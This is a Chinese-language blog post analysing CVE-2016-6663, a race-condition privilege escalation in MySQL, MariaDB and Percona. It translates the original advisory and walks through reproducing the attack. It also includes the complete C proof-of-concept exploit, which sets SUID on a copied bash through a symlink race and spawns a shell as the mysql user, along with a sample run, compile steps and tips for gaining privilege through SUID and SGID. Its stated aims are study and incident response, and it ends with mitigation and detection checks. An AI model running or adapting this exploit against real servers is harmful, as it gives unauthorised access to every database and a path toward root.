MySQL-based databases CVE -2016-6663 本地提权

@date: 2016/11/3

@author: dlive

0x01 漏洞原文

翻译水平不高求轻喷
感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程
0x04漏洞利用过程总结给出了清晰的漏洞利用过程,结合poc食用效果更佳

# http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
=============================================
- Release date: 01.11.2016
- Discovered by: Dawid Golunski
- Severity: Critical
- CVE-2016-6663 / OCVE-2016-5616
- http://legalhackers.com
=============================================


I. VULNERABILITY
-------------------------

MySQL / MariaDB / PerconaDB - Privilege Escalation / Race Condition


MariaDB 
	< 5.5.52
	< 10.1.18
        < 10.0.28

MySQL  
	<= 5.5.51
	<= 5.6.32
	<= 5.7.14

Percona Server
	< 5.5.51-38.2
	< 5.6.32-78-1
	< 5.7.14-8

Percona XtraDB Cluster
	< 5.6.32-25.17
	< 5.7.14-26.17
	< 5.5.41-37.0



III. INTRODUCTION
-------------------------

An independent research has revealed a race condition vulnerability which is 
present in MySQl, MariaDB and PerconaDB databases. 
一个独立研究者在MySQL,MariaDB, PerconaDB上发现一个竞态条件漏洞

The vulnerability can allow a local system user with access to the affected 
database in the context of a low-privileged account (CREATE/INSERT/SELECT grants) 
to escalate their privileges and execute arbitrary code as the database system 
user (typically 'mysql'). 
假设本地系统用户test_user具有访问数据库的一个低权限权限用户test_db_user,并且该用户具有数据库的create/insert/select权限。该漏洞可以将test_user权限提升为数据库系统用户权限(一般为mysql用户)

Successful exploitation would allow an attacker to gain access to all of the 
databases stored on the affected database server.
成功攻击后攻击者可以获取访问所有数据库文件的权限

The obtained level of access upon the exploitation, could be chained with
the other privilege escalation vulnerabilities discovered by the author of
this advisory (CVE-2016-6662 and CVE-2016-6664) to further escalate privileges 
from mysql user to root user and thus allow attackers to fully compromise the 
target server.
通过该漏洞获取权限后,可结合其他本地提权漏洞(如该漏洞作者发现的CVE-2016-6662 and CVE-2016-6664)进行更高的权限提升(从mysql到root),这会导致攻击者进一步对服务器造成危害

IV. DESCRIPTION
-------------------------


Table locations
​~~~~~~~~~~~~~~~~~~

MySQL-based databases allow users with CREATE table privilege to optionally
specify a disk path of the directory where the table will be stored via a DATA 
DIRECTORY parameter in the CREATE statement.
基于MySQL的数据库允许拥有Create权限的用户指定create table时table文件在磁盘上的存储路径(通过create语句的DATA DIRECTORY参数可以指定该路径)

Users who have access to a database account with CREATE grant could create a 
table under a directory that they can control. For example:
拥有create权限的用户可以在他们有权限的目录下创建一个table,例:


attacker@debian:~$ mkdir /tmp/disktable
attacker@debian:~$ chmod 777 /tmp/disktable/
attacker@debian:~$ ls -ld /tmp/disktable/
drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/

A user could then place a table within the directory with the following SQL 
statement:
该用户可以通过SQL语句在该目录下创建table:

mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';

which would result in creating the following table file:
以上操作会创建如下table文件:

attacker@debian:~$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD


Race Condition
​~~~~~~~~~~~~~~~~~~

Observing file operations performed on the table stored within the directory, 
it was discovered that REPAIR TABLE SQL statement which is available to 
low-privileged users with SELECT/CREATE/INSERT grants, performed unsafe 
operations on temporary files created during the table repair process.
观察table被存储在指定路径时的文件操作,当运行table修复进程时,REPAIR TABLE的SQL语句存在一个对临时文件的不安全的文件操作,而且拥有select/create/insert权限的低权限用户可以执行REPAIR TABLE的SQL语句。

Executing the statement:
执行以下SQL语句:

mysql> REPAIR TABLE `poctab1`;
+----------------+--------+----------+----------+
| Table          | Op     | Msg_type | Msg_text |
+----------------+--------+----------+----------+
| testdb.poctab1 | repair | status   | OK       |
+----------------+--------+----------+----------+

would result in execution of the following system calls:
这条REPAIR TABLE语句会导致如下系统调用被执行:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] open("/tmp/disktable/poctab1.MYD", O_RDWR) = 65
[pid  1463] access("./testdb/poctab1.TRG", F_OK) = -1 ENOENT (No such file or directory)
[pid  1463] lseek(65, 0, SEEK_CUR)      = 0
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0
[pid  1463] open("/tmp/disktable/poctab1.TMD", O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66
[pid  1463] lseek(65, 0, SEEK_END)      = 0
[pid  1463] lseek(64, 0, SEEK_END)      = 1024
[pid  1463] close(65)                   = 0
[pid  1463] close(66)                   = 0
[pid  1463] lstat("/tmp", {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable", {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0
[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] stat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0
[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0
[pid  1463] chown("/tmp/disktable/poctab1.TMD", 110, 115) = 0
[pid  1463] unlink("/tmp/disktable/poctab1.MYD") = 0
[pid  1463] rename("/tmp/disktable/poctab1.TMD", "/tmp/disktable/poctab1.MYD") = 0


The first call:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

was found to check file permissions of poctab1.MYD table which are then copied with chmod()
to the newly created poctab1.TMD temporary file containing the repaired table.
第一系统调用会检查poctab1.MYD的权限,之后会通过chmod()将其权限复制到新创建的名为poctab1.TMD的临时文件,这个临时文件中存贮着被修复的table.


The code is vulnerable to Race Condition between the call:
以下两个操作间存在竞态条件漏洞:

[pid  1463] lstat("/tmp/disktable/poctab1.MYD", {st_mode=S_IFREG|0660, st_size=0, ...}) = 0

and

[pid  1463] chmod("/tmp/disktable/poctab1.TMD", 0660) = 0


If an attacker managed to unlink the temporary table poctab1.TMD and replace it
with a symlink to /var/lib/mysql before the chmod() operation (i.e. win the race), 
they would be able to apply arbitrary permissions on the data directory. 
The attacker would be able to control the set of permissions by pre-setting them on
poctab1.MYD file before executing the REPAIR TABLE statement.
For example, by setting the permissions of poctab1.MYD to 777 the data directory
would become readable and writable to the attacker.
如果攻击者在chmod()操作前删除(即赢得竞争)poctab1.TMD并将其替换为一个指向/var/lib/mysql的符号链接,攻击者可以给该路径赋予任何权限。

攻击者可以在REPAIR TABLE语句执行前通过预设某个权限给poctab1.MYD文件来控制/var/lib/mysql的权限。

例如,给poctab1.MYD设置777的权限,mysql的数据目录(/var/lib/mysql)就会被设置为777权限,这时攻击者就可以对该目录进行读写。

(现在可以给/var/lib/mysql设置任意权限)

Obtaining mysql-suid shell
​~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Apart from gaining access to arbitrary mysql files, the attacker could also 
achieve arbitrary code execution in the context of mysql user (mysql shell).
除了获取访问任意mysql文件的权限,攻击者还可以mysql用户执行任意代码

This could be done by first pre-setting permissions on poctab1.MYD to 04777 
(suid), and winning the race so that the permissions get applied on a copy
of a bash shell file through the vulnerable chmod() call effectively creating
a shell that elevates their permissions after execution.
首先要设置poctab1.MYD的权限为04777(suid),之后复制一个bash shell文件覆盖poctab1.MYD, 然后赢得竞争,这时chmod()会将04777的权限赋予bash shell

There is only one problem. Their suid shell would remain to be owned by the 
attacker's user id and not 'mysql' user. 
要成功利用漏洞还有一个问题需要解决:suid shell将只会保留攻击者的UID,而不是mysql用户。

To elevate their privileges, attacker would need to copy the bash shell to a 
mysql-owned table file which are owned by mysql user.  However mysql table 
files are not writable by other users making it impossible for attacker to save 
the shell.
为了提升权限,攻击者需要拷贝bash shell到mysql用户拥有的table文件,但是other用户没有对表文件的写权限。


This could be bypassed if attacker created a specially crafted directory 
with a group sticky bit and then created a second table named 'poctab2' as
follows:
攻击者可以精心构造一个sgid的目录绕过以上限制,然后创建第二个表文件名为poctab2,如下

attacker@debian:/tmp/disktable$ chmod g+s /tmp/disktable/
attacker@debian:/tmp/disktable$ ls -ld /tmp/disktable/
drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/

mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable';
Query OK, 0 rows affected (0.00 sec)

attacker@debian:/tmp/disktable$ ls -l /tmp/disktable/
total 0
-rw-rw---- 1 mysql mysql    0 Oct 28 11:04 poctab1.MYD
-rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD

As we can see poctab2.MYD table (thanks to the sticky bit (+s) on the permissions
of the group on disktable directory)  has 'mysql' as the owner but 'attacker' 
as the group. 
我们可以看到poctab2.MYD的owner为mysql但是group是attacker

Therefore, the attacker would now be able to copy /bin/bash to poctab2.MYD file 
and preserve the file owner.
因此,攻击者现在可以用/bin/bash覆盖poctab2.MYD文件并且可以保存文件的owner为mysql

Finally, they could exploit the Race Condition again and have SUID + exec 
permissions applied on poctab2.MYD which would then allow them to execute the suid 
shell with elevated privileges of the mysql user.
最后攻击者可以赢得竞争并获得suid+执行权限的poctab2.MYD,攻击者最终可以获得一个mysql user的shell


From mysql to root
​~~~~~~~~~~~~~~~~~~~~~~~~

After obtaining a mysql suid shell, attackers could then exploit one of the 
other MySQL vulnerabilities discovered by the author of this advisory:

CVE-2016-6662 
or
CVE-2016-6664 (OCVE-2016-5617)

to escalate their privileges from mysql user to root system user.
获得mysql shell之后,攻击者可以继续利用其他漏洞如CVE-2016-6662或者CVE-2016-6664提升权限到root




V. PROOF OF CONCEPT EXPLOIT
-------------------------


------------------[ mysql-privesc-race.c ]--------------------

见0x03漏洞利用代码分析

------------------[ EOF ]--------------------



Example run:
​~~~~~~~~~~~~~~

attacker@xenial:~/mysql-exploit$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 16.04.1 LTS
Release:	16.04
Codename:	xenial

attacker@xenial:~/mysql-exploit$ dpkg -l | grep -i mariadb-serv
ii  mariadb-server                     10.0.27-0ubuntu0.16.04.1          all          MariaDB database server (metapackage depending on the latest version)
ii  mariadb-server-10.0                10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database server binaries
ii  mariadb-server-core-10.0           10.0.27-0ubuntu0.16.04.1          amd64        MariaDB database core server files

attacker@xenial:~/mysql-exploit$ id
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

attacker@xenial:~/mysql-exploit$ mysql -uattacker -ppocsql -hlocalhost pocdb -e 'show grants;'
+-----------------------------------------------------------------------------------------------------------------+
| Grants for attacker@localhost                                                                                   |
+-----------------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO 'attacker'@'localhost' IDENTIFIED BY PASSWORD '*3CC3900C7B2B0A885AB128894FC10949340A09CC' |
| GRANT SELECT, INSERT, CREATE, DROP ON `pocdb`.* TO 'attacker'@'localhost'                                       |
+-----------------------------------------------------------------------------------------------------------------+

attacker@xenial:~/mysql-exploit$ ls -l /var/lib/mysql/mysql/user.*
ls: cannot access '/var/lib/mysql/mysql/user.*': Permission denied

attacker@xenial:~/mysql-exploit$ time ./mysql-privesc-race attacker pocsql localhost pocdb

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

For testing purposes only. Do no harm.

Discovered/Coded by:

Dawid Golunski 
http://legalhackers.com


[+] Starting the exploit as: 
uid=1001(attacker) gid=1001(attacker) groups=1001(attacker)

[+] Connecting to the database `pocdb` as attacker@localhost

[+] Creating exploit temp directory /tmp/mysql_privesc_exploit

[+] Creating mysql tables 

DROP TABLE IF EXISTS exploit_table 
DROP TABLE IF EXISTS mysql_suid_shell 
CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 
CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc_exploit' 

[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/table will be assigned SUID and executable bits : 
-rw-rw---- 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Entering the race loop... Hang in there...


[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell: 

-rwsrwxrwx 1 mysql attacker 1037528 Nov  1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD

[+] Spawning the mysql SUID shell now... 
    Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

mysql_suid_shell.MYD-4.3$ whoami
mysql
mysql_suid_shell.MYD-4.3$ id
uid=1001(attacker) gid=1001(attacker) euid=107(mysql) groups=1001(attacker)
mysql_suid_shell.MYD-4.3$ ls -l /var/lib/mysql/mysql/user.*
-rw-rw---- 1 mysql mysql 2879 Oct 29 14:23 /var/lib/mysql/mysql/user.frm
-rw-rw---- 1 mysql mysql  168 Oct 29 22:35 /var/lib/mysql/mysql/user.MYD
-rw-rw---- 1 mysql mysql 4096 Oct 30 00:11 /var/lib/mysql/mysql/user.MYI
mysql_suid_shell.MYD-4.3$ exit
exit

[+] Job done. Exiting


real	0m28.999s
user	0m0.016s
sys	0m0.016s


VI. BUSINESS IMPACT
-------------------------

Malicious local users with DB access granted a common set of privileges 
(SELECT/INSERT/CREATE) could exploit this vulnerability to execute arbitrary 
code and escalate their privileges to mysql system user. This would allow them 
to gain access to all of the databases stored on the server as well as exploit 
CVE-2016-6662 or CVE-2016-6664 vulnerabilities to further elevate privileges
to root system user (rootshell) and fully compromise the target server.
拥有select/insert/create权限的恶意本地用户可以利用这个漏洞执行任意代码并且可以提升权限到mysql系统用户。这会使他们有权限访问服务器上的所有的数据库文件,结合CVE-2016-6662或者CVE-2016-6664可以进一步提升权限到root用户。

This vulnerability could for example be exploited by malicious users in a shared 
hosting environment where each user is supposed to have access to only one 
database assigned to them. 
例如,这个漏洞可以被共享环境(每个用户都被分配了一个可以访问的数据库)下的恶意用户利用。

It could also be exploited by attackers who have managed to find a vulnerability
in a website and gained access to the target system as a low-privileged user
(such as apache/www-data).
这个漏洞还可以被通过web入侵的已经获得了低权限用户(如apache/www-data用户)的攻击者利用


 
VIII. SOLUTION
-------------------------

Update to security releases issued by the vendor.
更新补丁。

As a temporary mitigation, you can disable symbolic link support in the
database server configuration with the following my.cnf config setting:
作为临时缓解措施,您可以在数据库配置文件my.cnf中禁用符号链接的支持

symbolic-links = 0

Nevertheless, an update to a patched release is recommended.
更好的解决方法是补丁更新后,建议为服务器打上最新补丁。

0x02 漏洞验证

mysql poc: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c

系统: Debian 4.0.4-1 kali2 x86_64

MySQL版本: 5.5.47

低权限系统用户: attacker(新建的用户,低权限用户)

数据库: test_6663 用户: test_6663 密码: 6663

数据库权限:create/insert/select/drop

编译exp:

如果编译失败可能是缺少mysql库,使用sudo apt-get install libmysqld-dev安装

#若需指定mysqlclient动态链接库路径,可加上-L参数如-L/usr/lib64/mysql
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

运行exp效果:

可以看到提权后的用户是mysql,可以读取mysql的数据文件,如图读到root密码为空,test_6663的mysql加密的密码

攻击成功后如果想再次获得mysql系统用户权限的shell不用再次进行攻击,只需运行mysql_suid_shell.MYD文件即可,但这个地方有个坑,直接运行该文件发现不会获得mysql权限,运行时需要加上-p参数,即./mysql_suid_shell.MYD -p -i(详细原因参加0x05漏洞/利用模型抽象 - 2.权限提升tips - 3.使用SUID)

0x03 漏洞利用代码分析

感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程

/*
MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)

CVE-2016-6663 / OCVE-2016-5616

Discovered/Coded by:

Dawid Golunski

dawid[at]legalhackers.com
@dawid_golunski
http://legalhackers.com


Compile:
gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

Note:
* On RedHat-based systems you might need to change /tmp to another public directory
在基于redhat的系统上,你可能需要将/tmp目录改为其他的目录如/uploads

* For testing purposes only. Do no harm.  

Full advisory URL:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

*/


#include <fcntl.h>
#include <grp.h>
#include <mysql.h>
#include <pwd.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>


#define EXP_PATH          "/tmp/mysql_privesc_exploit"
#define EXP_DIRN          "mysql_privesc_exploit"
#define MYSQL_TAB_FILE    EXP_PATH "/exploit_table.MYD"
#define MYSQL_TEMP_FILE   EXP_PATH "/exploit_table.TMD"

#define SUID_SHELL   	  EXP_PATH "/mysql_suid_shell.MYD"

#define MAX_DELAY 1000    // can be used in the race to adjust the timing if necessary

MYSQL *conn;		  // DB handles
MYSQL_RES *res;
MYSQL_ROW row;

unsigned long cnt;


void intro() {

printf( 
        "\033[94m\n"
        "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n"
        "mysql-privesc-race.c (ver. 1.0)\n\n"
        "CVE-2016-6663 / OCVE-2016-5616\n\n"
        "For testing purposes only. Do no harm.\n\n"
	"Discovered/Coded by:\n\n"
	"Dawid Golunski \n"
	"http://legalhackers.com"
        "\033[0m\n\n");

}

void usage(char *argv0) {
    intro();
    printf("Usage:\n\n%s user pass db_host database\n\n", argv0);
}

void mysql_cmd(char *sql_cmd, int silent) {
    
    if (!silent) {
	    printf("%s \n", sql_cmd);
    }
    if (mysql_query(conn, sql_cmd)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }
    res = mysql_store_result(conn);
    if (res>0) mysql_free_result(res);

}


int main(int argc,char **argv)
{

    int randomnum = 0;
    int io_notified = 0;
    int myd_handle;
    int wpid;
    int is_shell_suid=0;
    pid_t pid;
    int status;
    struct stat st;
    /* io notify */
    int fd;
    int ret;
    char buf[4096] __attribute__((aligned(8)));
    int num_read;
    struct inotify_event *event;
    /* credentials */
    char *user     = argv[1];
    char *password = argv[2];
    char *db_host  = argv[3];
    char *database = argv[4];


    // Disable buffering of stdout
    setvbuf(stdout, NULL, _IONBF, 0);

    // Get the params
    if (argc!=5) {
	usage(argv[0]);
	exit(1);
    } 
    intro();
    // Show initial privileges
    printf("\n[+] Starting the exploit as: \n");
    system("id");

    // Connect to the database server with provided credentials
    // 连接数据库
    printf("\n[+] Connecting to the database `%s` as %s@%s\n", database, user, db_host);
    conn = mysql_init(NULL);
    if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) {
        fprintf(stderr, "%s\n", mysql_error(conn));
        exit(1);
    }

    // Prepare tmp dir
    // 新建目录/tmp/mysql_privesc_exploit,并未该目录设置SGID
    printf("\n[+] Creating exploit temp directory %s\n", "/tmp/" EXP_DIRN);
    umask(000);
    system("rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN);
    system("chmod g+s /tmp/" EXP_DIRN );

    // Prepare exploit tables :)
    // 新建两个表exploit_table和mysql_suid_shell
    printf("\n[+] Creating mysql tables \n\n");
    mysql_cmd("DROP TABLE IF EXISTS exploit_table", 0);
    mysql_cmd("DROP TABLE IF EXISTS mysql_suid_shell", 0);
    mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);
    mysql_cmd("CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 0);

    // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file
    // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory
    // 拷贝/bin/bash到mysql_suid_shell.MYD
    printf("\n[+] Copying bash into the mysql_suid_shell table.\n    After the exploitation the following file/table will be assigned SUID and executable bits : \n");
    system("cp /bin/bash " SUID_SHELL);
    system("ls -l " SUID_SHELL);

    // Use inotify to get the timing right
    fd = inotify_init();
    if (fd < 0) {
        printf("failed to inotify_init\n");
        return -1;
    }
    ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE);


    /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+exec perms */

    printf("\n[+] Entering the race loop... Hang in there...\n");
	// 判断mysql_suid_shell.MYD是否被设置了suid
    while ( is_shell_suid != 1 ) {

        cnt++;
	if ( (cnt % 100) == 0 ) {
	 	printf("->");
	 	//fflush(stdout);	
	}

        /* Create empty file , remove if already exists */
        // 删除exploit_table.TMD
        unlink(MYSQL_TEMP_FILE);
        // 删除exploit_table.MYD
        unlink(MYSQL_TAB_FILE);
   	mysql_cmd("DROP TABLE IF EXISTS exploit_table", 1);
	mysql_cmd("CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'", 1);

	/* random num if needed */
        srand ( time(NULL) );
        randomnum = ( rand() % MAX_DELAY );

        // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink
        // 替换exploit_table.tmd为符号链接
        pid = fork();
        if (pid < 0) {
            fprintf(stderr, "Fork failed :(\n");
        }

        /* Child process - executes REPAIR TABLE  SQL statement */
        // 子进程执行REPAIR操作, 该操作会生成一个TMD文件
        if (pid == 0) {
            usleep(500);
            unlink(MYSQL_TEMP_FILE);
	    mysql_cmd("REPAIR TABLE exploit_table EXTENDED", 1);
            // child stops here
            exit(0);
        }
		// 父进程将exploit_table.tmd替换为符号链接
        /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */
        if (pid > 0 ) {
            io_notified = 0;

            while (1) {
                int processed = 0;
                ret = read(fd, buf, sizeof(buf));
                if (ret < 0) {
                    break;
                }
                while (processed < ret) {
                    event = (struct inotify_event *)(buf + processed);
                    if (event->mask & IN_CLOSE) {
                        if (!strcmp(event->name, "exploit_table.TMD")) {
                            //usleep(randomnum);

			    // Set the .MYD permissions to suid+exec before they get copied to the .TMD file 
			    // 将MYD的权限设置为04777(suid+exec)
			    // 删除mysql建立的exploit_table.MYD
			    unlink(MYSQL_TAB_FILE);
			    // 以attacker身份新建exploit_table.MYD
			    myd_handle = open(MYSQL_TAB_FILE, O_CREAT, 0777);
			    close(myd_handle);
			    // 将MYD权限改为04777
			    chmod(MYSQL_TAB_FILE, 04777);
				// 将exploit_table.TMD换为符号链接,指向mysql_suid_shell.TMD
			    // Replace the temp .TMD file with a symlink to the target sh binary to get suid+exec
                            unlink(MYSQL_TEMP_FILE);
                            symlink(SUID_SHELL, MYSQL_TEMP_FILE);
                            io_notified=1;
                        }
                    }
                    processed += sizeof(struct inotify_event);
                }
                if (io_notified) {
                    break;
                }
            }


            waitpid(pid, &status, 0);
        }

	// Check if SUID bit was set at the end of this attempt
        if ( lstat(SUID_SHELL, &st) == 0 ) {
	    if (st.st_mode & S_ISUID) {
		is_shell_suid = 1;
	    }
        } 

    }

    printf("\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n", cnt);
    system("ls -l " SUID_SHELL);

    printf("\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n    Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n");
    //启动bash shell,因为设置了SUID,所以会获得mysql权限
    system(SUID_SHELL " -p -i ");
    //system(SUID_SHELL " -p -c '/bin/bash -i -p'");

    /* close MySQL connection and exit */
    printf("\n[+] Job done. Exiting\n\n");
    mysql_close(conn);
    return 0;

}

0x04 漏洞利用过程总结

两个重要过程:

  1. MySQL创建表指定路径(虽然和漏洞利用没太大关系但还是提一下XD)

    MySQL指定create table的路径时会将数据库MYD文件存放在指定路径,并且会在/var/lib/mysql/database_name/下建立符号链接

  1. MySQL REPAIR过程

    strace -p pid_of_mysql -f -o output_file
    

    修复过程中原MYD文件会被删除,TMD文件会被重命名为新的MYD文件,漏洞存在于lstat和chmod之间(见0x01漏洞原文和0x05 1.竞态条件漏洞模型)

以漏洞利用中操作的数据库表的不同进行分类,整个漏洞利用过程可分为两块:

  1. 对mysql_suid_shell表的操作

    新建mysql_suid_shell表,并将MYD文件指定存储到设置sgid的文件夹/tmp/mysql_privesc_exploit中,使得mysql_suid_shell.MYD的属性变为mysql的owner和attacker的group(原理见0x05),从而attacker可以拷贝/bin/bash到/tmp/mysql_privesc_exploit/mysql_suid_shell.MYD,并且文件的owner为mysql

  2. 对exploit_table表的操作

    新建exploit_table表,并将MYD文件指定存储到/tmp/mysql_privesc_exploit中,删除mysql建立的MYD,以attacker身份新建MYD, 然后Repair exploit_table, 在repair的过程中会生成TMD文件,通过赢得竞争将TMD文件设置为指向mysql_suid_shell.MYD的符号链接,因为TMD的权限与MYD相同,MYD的权限可由attacker控制,从而实现修改mysql_suid_shell.MYD的权限为04777(set-uid+exec),然后启动mysql_suid_shell.MYD即可

攻击成功后/tmp/mysql_privesc_exploit下文件的状态:

root@dlive:/tmp/mysql_privesc_exploit# ls -la
总用量 1016
drwxrwsrwx  2 attacker attacker    4096 11月  9 19:15 .
drwxrwxrwt 18 root     root        4096 11月  9 19:12 ..
-rwsrwxrwx  1 attacker attacker       0 11月  9 19:15 exploit_table.MYD
lrwxrwxrwx  1 attacker attacker      47 11月  9 19:15 exploit_table.TMD -> /tmp/mysql_privesc_exploit/mysql_suid_shell.MYD
-rwsrwxrwx  1 mysql    attacker 1029624 11月  9 19:12 mysql_suid_shell.MYD

0x05 漏洞/利用模型抽象

根据漏洞原理我们可以抽象出一个简化的漏洞模型,漏洞模型的抽象有利于对漏洞的理解和知识体系的形成。

这个CVE-2016-6663可以被抽象为两个漏洞模型(比较简单):

1.竞态条件漏洞模型

在此漏洞中首先对MYD文件进行了lstat()操作获取其权限信息,然后对TMD文件进行chmod()操作,将获取的权限信息赋予TMD,若lstat后将TMD文件换为符号链接,连接到攻击者可控文件,攻击者即可进行权限提升。

详细竞态条件漏洞demo可以参考SEEDLabs的实验:

http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Race_Condition/

2.权限提升tips

  1. 使用符号链接

    ln -s file1 file2 #创建符号链接file2指向file1

    对符号链接chmod的效果是目标文件的权限会被改变,有的时候符号链接还可以用来绕过目录访问限制

  2. 使用SGID

    如果对目录设置SGID,那么会有如下效果:

    若使用者在此目录下具有w的权限(可以新建文件),则使用者所创建的新文件,该新文件的group与此目录的group相同。

  3. 使用SUID

    设置SUID的mysql_suid_shell.MYD会以其owner权限运行,但是这有个坑,就是bash对suid有保护,运行mysql_suid_shell.MYD时需要加上-p选项才能真正让SUID生效(参加:http://unix.stackexchange.com/questions/116792/privileged-mode-in-bash)

    #bash man page
     -p 
     	  Turn on privileged mode.  In this mode, the `$BASH_ENV' and
          `$ENV' files are not processed, shell functions are not
          inherited from the environment, and the `SHELLOPTS',
          `BASHOPTS', `CDPATH' and `GLOBIGNORE' variables, if they
          appear in the environment, are ignored.  If the shell is
          started with the effective user (group) id not equal to the
          real user (group) id, and the `-p' option is not supplied,
          these actions are taken and the effective user id is set to
          the real user id.  If the `-p' option is supplied at startup,
          the effective user id is not reset.  Turning this option off
          causes the effective user and group ids to be set to the real
          user and group ids.
    

0x06 应急响应

该漏洞的暂时修补方案为在my.conf中禁用符号链接

symbolic-links = 0

攻击检测:

CVE-2016-6663作者提供的exp默认在提权成功后未删除表和表文件,所以我们可以简单从一下几点判断是否服务器是否被此漏洞攻击

  1. mysql --vesion 判断版本信息
  2. /tmp/mysql_privesc_exploit 文件夹是否存在,以及文件夹下是否存在exploit_table.MYD, exploit_table.TMD, mysql_suid_shell.MYD等文件
  3. /var/lib/mysql/下面某数据库目录下是否存在exploit_table.MYD或mysql_suid_shell.MYD的符号链接
  4. mysql数据库中是否存在exploit_table或mysql_suid_shell表

0x07 参考资料

http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

http://bobao.360.cn/learning/detail/3152.html

http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Race_Condition/

http://unix.stackexchange.com/questions/116792/privileged-mode-in-bash

posted @ 2017-02-18 10:43  dlive  阅读(2840)  评论(3编辑  收藏  举报